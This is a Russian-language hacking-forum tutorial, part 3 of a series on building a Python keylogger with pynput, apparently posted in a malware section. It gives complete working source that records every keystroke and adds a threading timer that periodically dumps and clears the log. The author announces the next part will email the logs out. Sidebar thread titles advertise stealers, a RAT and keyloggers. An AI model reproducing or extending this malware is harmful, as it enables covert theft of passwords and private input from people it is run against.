Свой мини кейлоггер на python. Часть 3

Anorali

Original poster
Pro Member
Сообщения
106
Реакции
153
Посетить сайт
Всем привет! Продолжение написания кейлоггера, погнали!

Сейчас у нас на руках рабочий кейлоггер, результат которого легко и понятно читать, но кое-чего не хватает! Сейчас я хочу сделать функцию отправки результата на почту. Функцию отправки логов на почту мы с вами уже реализовали в моей статье о написании

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, поэтому сейчас нас интересует другая проблема - даже если внимательно присмотреться в код, мы не обнаружим такого места, где можно было бы написать эту функцию.

Python:
import pynput.keyboard

log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except:
        if key == key.space:
            log = log + ' ' 
        else:
            log = log + " " + str(key) + " " 
    print(log)


keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()

И для решения этой проблемы мы воспользуемся многопоточностью или библиотекой threading. Другими словами мы будем просто разделять ход нашей программы на несколько потоков - основная программа и таймер, по истечению которого будет срабатывать функция sendmail.

Для начала импортируем нашу библиотеку в код:

Python:
import threading

Далее создаём функцию report:

Python:
def report():
    global log #объявляем глобальную переменную log
    print(log) #выводим содержимое
    log = ' ' #очищаем переменную
    timer = threading.Timer(5, report) #создаём таймер с интервалом в 5 секунд, а затем, по истечению времени он вызовит функцию которую мы укажем(report) 
    timer.start() #запускаем наш таймер

И запускаем нашу функцию report:

Python:
with keyboard_listener:
    report()
    keyboard_listener.join()

Наша рекурсивная функция почти готова, доработаем её в следующих уроках, а сейчас тесты:

P.S. Не забудьте удалить принт с функции process_key_press

Снимок экрана 2020-06-30 22:19:19.png

Теперь каждый раз наша переменная log очищается и записывается по новому. Далее мы сделаем отправку лога на почту уже в таком виде и добавим немного ООП магии в наш код, всем удачи!


Код целиком:

Python:
import pynput.keyboard
import threading

log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except:
        if key == key.space:
            log = log + ' ' 
        else:
            log = log + " " + str(key) + " " 

def report():
    global log 
    print(log) 
    log = ' ' 
    timer = threading.Timer(5, report) 
    timer.start() 

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    report()
    keyboard_listener.join()
 
Ř

ŘÃϻŻẸŜ

Как по мне, лучше бы было закинуть все уроки в одну тему.
 
  • Like
Реакции: Anorali
Название темы
Автор Заголовок Раздел Ответы Дата
Anorali Свой мини кейлоггер на python. Часть 2 Вирусология 0
Anorali Свой мини кейлоггер на python Вирусология 4
S Интересно Свой мини-рат на python + стиллер хрома v80 Софт от наших юзеров 8
G Python для хакера - Часть 4. Свой мини фреймворк. Другие ЯП 1
M Куплю Свой запрос с ваших логов. GEO – любое Куплю/Продам 2
W Свой шоп или работа с яндекс дзен Полезные статьи 0
L Свой магазин цифровых товаров за 5 минут Услуги дизайнеров/веб-разработчиков 1
АнАлЬнАя ЧуПаКаБрА INLINE Бесплатный мини пак.СС/ДЕДИКИ/SSH. Проекты Private Keeper 0
K 5 мини-курсов по программе Adobe Photoshop от «Фотошоп-мастер» Другое 0
M Розыгрыш мини квадрокоптера №2 Другое 9
M Розыгрыш мини квадрокоптера Другое 22
andre5787 Как создать свой кейлоггер без знания языков программирвония? Вопросы и интересы 5
N Устанавливаем и запускаем кейлоггер на Linux. Анонимность и приватность 0
V Пишем переносной кейлоггер на C++ Полезные статьи 1
farhad.tiger Создам Вам RMS, стиллер, кейлоггер под ключ[free] Spam/DDOS/Malware 2

Название темы